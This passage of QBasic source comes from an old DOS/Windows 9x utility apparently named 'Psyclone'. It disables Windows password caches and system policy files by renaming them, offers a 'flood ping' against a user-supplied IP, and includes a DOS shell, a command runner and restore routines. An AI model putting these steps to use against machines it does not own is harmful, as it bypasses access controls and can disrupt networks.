DO
a$ = INKEY$
IF a$ = CHR$(27) THEN Quit
IF RIGHT$(a$, 1) = ";" THEN HelpMenu: Titles$ = "Net Utilities": scrn: EXIT DO
LOOP UNTIL VAL(a$) > 0 AND VAL(a$) <= 2

IF VAL(a$) = 1 THEN GOSUB PingStuff: Titles$ = "Net Utilities": scrn
IF VAL(a$) = 2 THEN EXIT SUB
'IF VAL(a$) = 3 THEN GOSUB DosCom: Titles$ = "Options": scrn
'IF VAL(a$) = 4 THEN SHELL "CLS": COLOR 7, 0: PRINT "Type 'EXIT' to return to Psyclone": SHELL: Titles$ = "Options": scrn
'IF VAL(a$) = 5 THEN PsyText: Titles$ = "Options": scrn
'IF VAL(a$) = 6 THEN About: Titles$ = "Options": scrn
'IF VAL(a$) = 7 THEN EXIT SUB

LOOP




PingStuff:
LOCATE 19, 11
INPUT "Input an IP Address to flood ping:", IP$
LOCATE 19, 11: PRINT "Press Control+C to quit pinging                            "
SHELL "ping -t " + IP$ + " > " + TempDrive$ + "a.txt"
DO: LOOP WHILE INKEY$ = ""

RETURN


END SUB

SUB NoPassword

SHELL "RENAME " + CurDrive$ + windir$ + "\*.pwl *.zzz > " + TempDrive$ + "a.tmp"
undopassword = 1
CLS

Complete

END SUB

SUB NoPolicies

SHELL CurDrive$
SHELL "dir/s/b *.POL > " + TempDrive$ + "policy.txt"
poldrive$ = TempDrive$
OPEN TempDrive$ + "policy.txt" FOR INPUT AS #1
 DO UNTIL EOF(1)
 LINE INPUT #1, policy$
 SHELL "rename " + policy$ + " *.zzy > " + TempDrive$ + "a.tmp"
 LOOP
CLOSE
CLS
Complete


END SUB

SUB Opening

COLOR 4, 1
CLS

PRINT
PRINT
PRINT " ÛÛÛÛ       ÛÛÛÛ   ÛÛÛÛÛÛÛÛÛÛ   ÛÛÛÛÛÛÛÛÛÛ  ÛÛ      ÛÛ  ÛÛÛÛÛÛÛÛÛÛ   ÛÛÛÛÛÛÛÛÛÛ"
PRINT " ÛÛ ÛÛ     ÛÛ ÛÛ   ÛÛ           ÛÛ      ÛÛ  ÛÛ      ÛÛ      ÛÛ       ÛÛ      ÛÛ"
PRINT " ÛÛ  ÛÛ   ÛÛ  ÛÛ   ÛÛ           ÛÛ      ÛÛ  ÛÛ      ÛÛ      ÛÛ       ÛÛ      ÛÛ"
PRINT " ÛÛ   ÛÛ ÛÛ   ÛÛ   ÛÛÛÛÛÛÛÛÛÛ   ÛÛÛÛÛÛÛÛÛÛ  ÛÛÛÛÛÛÛÛÛÛ      ÛÛ       ÛÛ      ÛÛ"
PRINT " ÛÛ    ÛÛÛ    ÛÛ   ÛÛ           ÛÛ          ÛÛ      ÛÛ      ÛÛ       ÛÛ      ÛÛ"
PRINT " ÛÛ           ÛÛ   ÛÛ           ÛÛ          ÛÛ      ÛÛ      ÛÛ       ÛÛ      ÛÛ"
PRINT " ÛÛ           ÛÛ   ÛÛÛÛÛÛÛÛÛÛ   ÛÛ          ÛÛ      ÛÛ  ÛÛÛÛÛÛÛÛÛÛ   ÛÛÛÛÛÛÛÛÛÛ"



COLOR 0, 1

y = 0

FOR y = 1 TO 62
PRINT
LOCATE 10, y
PRINT " ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ"
LOCATE 11, y
PRINT "   ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ"
LOCATE 12, y
PRINT "    ÛÛÛÛÛÛÛÛÛÛ"
LOCATE 13, y
PRINT "    ÛÛÛÛÛÛÛÛ"
LOCATE 14, y
PRINT "      ÛÛÛÛÛ"
LOCATE 15, y
PRINT "       ÛÛÛ"
LOCATE 16, y
PRINT "       ÛÛÛ"
LOCATE 17, y
PRINT "        ÛÛÛ"
LOCATE 18, y
PRINT "         ÛÛ"
LOCATE 19, y
PRINT "          Û"
LOCATE 20, y
PRINT "         ÛÛ"
LOCATE 21, y
PRINT "        ÛÛ"
LOCATE 22, y

PRINT "        Û"

IF y = 21 THEN LOCATE 10, 20: PRINT "P"
IF y = 22 THEN LOCATE 10, 21: PRINT "R"
IF y = 23 THEN LOCATE 10, 22: PRINT "E"
IF y = 24 THEN LOCATE 10, 23: PRINT "S"
IF y = 25 THEN LOCATE 10, 24: PRINT "E"
IF y = 26 THEN LOCATE 10, 25: PRINT "N"
IF y = 27 THEN LOCATE 10, 26: PRINT "T"
IF y = 28 THEN LOCATE 10, 27: PRINT "S"

'FOR delay = 1 TO 500: NEXT


NEXT

COLOR 16, 1

LOCATE 12
GOSUB Psyclone
SLEEP 2

COLOR 0, 1
GOSUB Psyclone



Psyclone:
LOCATE 12
PRINT " ÛÛÛÛÛÛ    ÛÛÛÛÛÛ ÛÛ  ÛÛ ÛÛÛÛÛÛ ÛÛ     ÛÛÛÛÛÛÛ ÛÛ   ÛÛ ÛÛÛÛÛÛ"
PRINT "     ÛÛ    ÛÛ     ÛÛ  ÛÛ ÛÛ     ÛÛ     ÛÛ   ÛÛ ÛÛÛ  ÛÛ ÛÛ    "
PRINT " ÛÛÛÛÛÛ    ÛÛ     ÛÛÛÛÛÛ ÛÛ     ÛÛ     ÛÛ   ÛÛ ÛÛ Û ÛÛ ÛÛÛÛÛÛ"
PRINT " ÛÛ        ÛÛ       ÛÛ   ÛÛ     ÛÛ     ÛÛ   ÛÛ ÛÛ  ÛÛÛ ÛÛ    "
PRINT " ÛÛ   ÛÛÛÛÛÛÛ       ÛÛ   ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛ   ÛÛ ÛÛÛÛÛÛ"
RETURN

time
GOSUB Main

Quit

Main:

MainMenu

Title

Quit
RETURN


END SUB

SUB Options

Titles$ = "Options"
scrn

COLOR 0, 7
DO

LOCATE 7, 25: PRINT "What do you want to do?"
LOCATE 9, 25: PRINT "1) Change settings"
LOCATE 10, 25: PRINT "2) Restore original settings"
LOCATE 11, 25: PRINT "3) Perform DOS command"
LOCATE 12, 25: PRINT "4) Shell to DOS"
LOCATE 13, 25: PRINT "5) View a system file"
LOCATE 14, 25: PRINT "6) About this program"
LOCATE 15, 25: PRINT "7) Back to main menu"



DO
a$ = INKEY$
IF a$ = CHR$(27) THEN Quit
IF RIGHT$(a$, 1) = ";" THEN HelpMenu: Titles$ = "Options": scrn: EXIT DO
LOOP UNTIL VAL(a$) > 0 AND VAL(a$) <= 7

IF VAL(a$) = 1 THEN ChangeSetting: Titles$ = "Options": scrn
IF VAL(a$) = 2 THEN RestoreOriginal: Titles$ = "Options": scrn
IF VAL(a$) = 3 THEN GOSUB DosCom: Titles$ = "Options": scrn
IF VAL(a$) = 4 THEN SHELL "CLS": COLOR 7, 0: PRINT "Type 'EXIT' to return to Psyclone": SHELL: Titles$ = "Options": scrn
IF VAL(a$) = 5 THEN PsyText: Titles$ = "Options": scrn
IF VAL(a$) = 6 THEN About: Titles$ = "Options": scrn
IF VAL(a$) = 7 THEN EXIT SUB

LOOP




DosCom:
LOCATE 20, 10: PRINT "Input Dos Command:"
LOCATE 21, 10: INPUT "", com$: SHELL com$
PRINT "Press any key to continue"
DO: LOOP WHILE INKEY$ = ""
RETURN


END SUB

SUB PsyText


Top = 3: Bottom = 22: Left = 2: Right = 79: Num = 1







GOSUB Initialize





COLOR 0, 7: LOCATE 1, 1
PRINT "          Text Viewer for Psyclone                                              "
LOCATE 2, 1: COLOR 7, 1
PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"
FOR x = 3 TO 22
LOCATE x, 1
PRINT "³                                                                              °"
NEXT
LOCATE 23, 1
PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ"

LOCATE 3, 80: COLOR 0, 7: PRINT ""
LOCATE 22, 80: PRINT ""

       GOSUB Dimb

LOCATE 2, 40 - LEN(Titles2$) / 2
PRINT Titles2$


GOSUB TextPutStuff


DO
b$ = INKEY$
IF b$ <> "" THEN GOSUB PsyKeyHandle


LOOP UNTIL b$ = CHR$(27)

EXIT SUB



'If Statements
PsyKeyHandle:


        IF RIGHT$(b$, 1) = "P" THEN
         IF Num < MaxX - 1 THEN Num = Num + 1: GOSUB TextPutStuff
        END IF
        IF RIGHT$(b$, 1) = "H" THEN
         IF Num > 1 THEN Num = Num - 1: GOSUB TextPutStuff
        END IF
        IF b$ = CHR$(0) + "O" THEN Num = MaxX - 1: GOSUB TextPutStuff
        IF RIGHT$(b$, 1) = "G" THEN Num = 1: GOSUB TextPutStuff
        IF RIGHT$(b$, 1) = "Q" THEN
        IF Num + (Bottom - Top) < MaxX - 1 THEN
         Num = Num + (Bottom - Top)
        ELSE
         Num = MaxX - 1
        END IF
        GOSUB TextPutStuff

END IF

IF RIGHT$(b$, 1) = "I" THEN
 IF Num - (Bottom - Top) > 1 THEN
   Num = Num - (Bottom - Top)
 ELSE
   Num = 1
 END IF
GOSUB TextPutStuff



END IF
'End if Statements
COLOR 0, 7: LOCATE 1, 60
PRINT Num; : PRINT "|"; : PRINT MaxX - 1; : PRINT "  "

'PRINT "    Text Viewer for Psyclone                                                    "


'F1 = ;
'F2 = <
'F3 = =
'F4 = >
'F5 = ?
'F6 = @
'F7 = A
'F8 = B
'F9 = C
'F10 = D
'F11 = …
'F12 = †
'Delete = S
'End = O
'Insert = R
'Home = G
'PAGE UP = I
'PAGE DOWN = Q
'UP ARROW = H
'DOWN  ARROW = P
'LEFT ARROW = K
'RIGHT ARROW = M


RETURN


TextPutStuff:


COLOR 7, 1
OldX = Num
Num = Num - 1
FOR y = Top TO Bottom
Num = Num + 1

LOCATE y, Left: PRINT STRING$(78, " ")
LOCATE y, Left: PRINT RIGHT$(Phrase2$(Num), 79)
IF LEN(Phrase2$(Num)) > 78 THEN LOCATE y, 80: PRINT "°"

NEXT

Num = OldX
RETURN








Dimb:


OPEN File$ FOR INPUT AS #1
x = 1
DO
LINE INPUT #1, Phrase2$(x)
x = x + 1

LOOP UNTIL EOF(1)
MaxX = x
CLOSE


RETURN





Initialize:
COLOR 0, 7
LOCATE 6, 25: PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"
FOR x = 7 TO 14
LOCATE x, 25: PRINT "³                            ³": NEXT
LOCATE 15, 25: PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ"

LOCATE 7, 30: PRINT "What system file do"
LOCATE 8, 30: PRINT "you want to view?"
LOCATE 10, 32: PRINT "< "; : COLOR 15, 7: PRINT "A"; : COLOR 0, 7: PRINT "UTOEXEC.BAT >"
LOCATE 11, 32: PRINT "< "; : COLOR 15, 7: PRINT "M"; : COLOR 0, 7: PRINT "SDOS.SYS >"
LOCATE 12, 32: PRINT "< C"; : COLOR 15, 7: PRINT "O"; : COLOR 0, 7: PRINT "NFIG.SYS >"
LOCATE 13, 32: PRINT "< "; : COLOR 15, 7: PRINT "C"; : COLOR 0, 7: PRINT "ANCEL >"


DO
a$ = INKEY$
IF a$ = CHR$(27) THEN EXIT SUB
IF UCASE$(a$) = "C" THEN EXIT SUB
IF UCASE$(a$) = "A" THEN File$ = CurDrive$ + "Autoexec.bat": Titles2$ = " AUTOEXEC.BAT ": EXIT DO
IF UCASE$(a$) = "M" THEN File$ = CurDrive$ + "Msdos.sys": Titles2$ = " MSDOS.SYS ": EXIT DO
IF UCASE$(a$) = "O" THEN File$ = CurDrive$ + "Config.sys": Titles2$ = " CONFIG.SYS ": EXIT DO

LOOP


RETURN


END SUB

SUB Quit

KILL poldrive$ + "policy.txt"
KILL TempDrive$ + "a.tmp"
COLOR 7, 0
CLS
END

END SUB

SUB RestoreOriginal

total = 7
Titles$ = "Restore Original Settings"
scrn

DO

COLOR 0, 7


LOCATE 7, 20: PRINT "What setting do you want to restore?"
LOCATE 9, 20: PRINT "1) All"
LOCATE 10, 20: PRINT "2) Windows Password"
LOCATE 11, 20: PRINT "3) Policy Files"
LOCATE 12, 20: PRINT "4) Location Setting (temp drive, windows dir)"
LOCATE 13, 20: PRINT "5) Restore Registry"
LOCATE 14, 20: PRINT "6) MSDOS.SYS (Not included in restore all"
LOCATE 15, 20: PRINT "7) Go Back"




DO
a$ = INKEY$
IF a$ = CHR$(27) THEN Quit
IF RIGHT$(a$, 1) = ";" THEN HelpMenu: Titles$ = "Restore Original Settings": scrn: EXIT DO
LOOP UNTIL VAL(a$) > 0 AND VAL(a$) <= total

IF VAL(a$) = 1 THEN GOSUB alls
IF VAL(a$) = 2 THEN SHELL "Rename " + CurDrive$ + windir$ + "\*.zzz *.pwl": Complete
IF VAL(a$) = 3 THEN GOSUB pol
IF VAL(a$) = 4 THEN CurDrive$ = "C:\": windir$ = "WINDOWS": TempDrive$ = "C:\": Complete
IF VAL(a$) = 5 THEN SHELL "C:\REGEDIT c:\unreg.reg": SHELL "C:\REGEDIT c:\unreg2.reg": Complete
IF VAL(a$) = 6 THEN GOSUB RestoreMSDOS.SYS: Complete
IF VAL(a$) = 7 THEN EXIT SUB


LOOP


alls:
CurDrive$ = "C:\"
windir$ = "WINDOWS"
TempDrive$ = "C:\"
SHELL "Rename " + CurDrive$ + windir$ + "\*.zzz *.pwl > " + TempDrive$ + "a.txt"
SHELL "C:\REGEDIT C:\unreg.reg"
SHELL "C:\REGEDIT C:\unreg2.reg"
GOSUB pol

RETURN

pol:

SHELL CurDrive$
SHELL "dir/s/b *.zzy > " + poldrive$ + "policy.txt"
OPEN poldrive$ + "policy.txt" FOR INPUT AS #1

 DO UNTIL EOF(1)
 LINE INPUT #1, policy$
 SHELL "rename " + policy$ + " *.bas > " + TempDrive$ + "a.txt"
 LOOP
CLOSE
Complete

RETURN


RestoreMSDOS.SYS:
SHELL "copy " + TempDrive$ + "msdos.bak " + CurDrive$ + "msdos.sys > " + TempDrive$ + "a.txt"
KILL TempDrive$ + "msdos.bak"
RETURN

END SUB

SUB scrn


COLOR 0, 1
CLS

'        COLOR 0, 1
'        FOR x = 25 TO 2 STEP -1
'        LOCATE x
'        PRINT STRING$(80, "Ý")
'        NEXT
      
        FOR x = 1 TO 22 STEP 2
        COLOR 14, 1
        LOCATE x
        PRINT "      Mephio      Mephio      Mephio      Mephio      Mephio      Mephio      M"
        NEXT

        FOR x = 1 TO 22
        LOCATE x, 1: COLOR 7, 1: PRINT "³": LOCATE x, 80: PRINT "³"
        NEXT

        LOCATE 23, 1: PRINT "À"
        LOCATE 23, 2: PRINT STRING$(79, "Ä")
        LOCATE 23, 80: PRINT "Ù"
COLOR 0, 7
LOCATE 1, 1
PRINT "    Escape to Exit    F1 for Help        Email me at Mephio2002@yahoo.com          "
COLOR 7, 1
LOCATE 2, 2: PRINT STRING$(78, "Ä")
LOCATE 2, 80: PRINT "¿": LOCATE 2, 1: PRINT "Ú"
COLOR 1, 7
LOCATE 2, 35
PRINT " PSYCLONE "




LOCATE 5, 10
COLOR 0, 7
PRINT "ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"
FOR x = 1 TO 12
LOCATE , 10
PRINT "³                                                           ³"
NEXT
LOCATE , 10
PRINT "ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´"
LOCATE , 10
PRINT "³                                                           ³"
LOCATE , 10
PRINT "ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ"


LOCATE , 11: COLOR 7, 0
PRINT "io      Mephio      Mephio      Mephio      Mephio      Mephi"

FOR x = 6 TO 20 STEP 2
LOCATE x + 1, 71: PRINT "io"
LOCATE x, 71: PRINT "  "
NEXT

'DO
'LOOP UNTIL INKEY$ = CHR$(27)
Title


END SUB

SUB time
t# = VAL(RIGHT$(TIME$, 2))

DO
b# = VAL(RIGHT$(TIME$, 2))
IF INKEY$ <> "" THEN EXIT DO
IF b# = t# + 5 THEN comp = 1
IF b# < t# THEN b# = b# + 60


LOOP UNTIL comp = 1


END SUB

SUB Title



COLOR 0, 7
LOCATE 5, 40 - (LEN(Titles$) / 2)
PRINT Titles$


END SUB